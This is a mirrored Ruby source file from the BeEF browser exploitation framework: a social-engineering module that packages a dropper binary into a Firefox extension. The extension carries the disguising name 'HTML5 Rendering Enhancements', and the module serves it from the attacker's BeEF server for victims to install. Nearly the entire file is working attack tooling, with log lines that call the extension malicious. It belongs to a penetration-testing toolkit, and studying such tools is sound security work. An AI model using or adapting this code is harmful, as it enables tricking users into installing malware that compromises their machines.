Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/firefox_extension_dropper/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Firefox_extension_dropper < BeEF::Core::Command
7
class Bind_extension < BeEF::Core::Router::Router
8
before do
9
headers 'Content-Type' => 'application/x-xpinstall',
10
'Pragma' => 'no-cache',
11
'Cache-Control' => 'no-cache',
12
'Expires' => '0'
13
end
14
15
get '/' do
16
response['Content-Type'] = 'application/x-xpinstall'
17
extension_path = settings.extension_path
18
print_info "Serving malicious Firefox Extension (Dropper): #{extension_path}"
19
send_file extension_path.to_s,
20
type: 'application/x-xpinstall',
21
disposition: 'inline'
22
end
23
end
24
25
def pre_send
26
# gets the value configured in the module configuration by the user
27
@datastore.each do |input|
28
@extension_name = input['value'] if input['name'] == 'extension_name'
29
@xpi_name = input['value'] if input['name'] == 'xpi_name'
30
end
31
32
mod_path = "#{$root_dir}/modules/social_engineering/firefox_extension_dropper"
33
extension_path = "#{mod_path}/extension"
34
35
# clean the build directory
36
FileUtils.rm_rf("#{extension_path}/build/.", secure: true)
37
38
# retrieve the name of the dropper binary
39
Dir.foreach("#{mod_path}/dropper") do |item|
40
if item != 'readme.txt' && item != '.' && item != '..'
41
@dropper = item
42
print_info "Using dropper: '#{mod_path}/dropper/#{@dropper}'"
43
end
44
end
45
if @dropper.nil?
46
print_error "No dropper found in '#{mod_path}/dropper'"
47
return
48
end
49
50
# copy in the build directory necessary file, substituting placeholders
51
File.open("#{extension_path}/build/install.rdf", 'w') { |file| file.puts File.read("#{extension_path}/install.rdf").gsub!('__extension_name_placeholder__', @extension_name) }
52
File.open("#{extension_path}/build/bootstrap.js", 'w') { |file| file.puts File.read("#{extension_path}/bootstrap.js").gsub!('__payload_placeholder__', @dropper) }
53
File.open("#{extension_path}/build/overlay.xul", 'w') { |file| file.puts File.read("#{extension_path}/overlay.xul") }
54
File.open("#{extension_path}/build/chrome.manifest", 'w') { |file| file.puts File.read("#{extension_path}/chrome.manifest") }
55
FileUtils.cp "#{mod_path}/dropper/#{@dropper}", "#{extension_path}/build/#{@dropper}"
56
57
extension_content = ['install.rdf', 'bootstrap.js', 'overlay.xul', 'chrome.manifest', @dropper]
58
59
# create the XPI extension container
60
xpi = "#{extension_path}/#{@xpi_name}.xpi"
61
File.delete(xpi) if File.exist?(xpi)
62
Zip::File.open(xpi, Zip::File::CREATE) do |xpi|
63
extension_content.each do |filename|
64
xpi.add(filename, "#{extension_path}/build/#{filename}")
65
end
66
end
67
68
# mount the extension in the BeEF web server, calling a specific nested class (needed because we need a specifi content-type/disposition)
69
bind_extension = Firefox_extension_dropper::Bind_extension
70
bind_extension.set :extension_path, "#{$root_dir}/modules/social_engineering/firefox_extension_dropper/extension/#{@xpi_name}.xpi"
71
BeEF::Core::Server.instance.mount("/#{@xpi_name}.xpi", bind_extension.new)
72
BeEF::Core::Server.instance.remap
73
end
74
75
def self.options
76
@configuration = BeEF::Core::Configuration.instance
77
proto = @configuration.beef_proto
78
beef_host = @configuration.beef_host
79
beef_port = @configuration.beef_port
80
base_host = "#{proto}://#{beef_host}:#{beef_port}"
81
[
82
{ 'name' => 'extension_name', 'ui_label' => 'Extension name', 'value' => 'HTML5 Rendering Enhancements' },
83
{ 'name' => 'xpi_name', 'ui_label' => 'Extension file (XPI) name', 'value' => 'HTML5_Enhancements' },
84
{ 'name' => 'base_host', 'ui_label' => 'Download from', 'value' => base_host, 'width' => '150px' }
85
]
86
end
87
88
def post_execute
89
save({ 'result' => @datastore['result'] })
90
end
91
end
92
93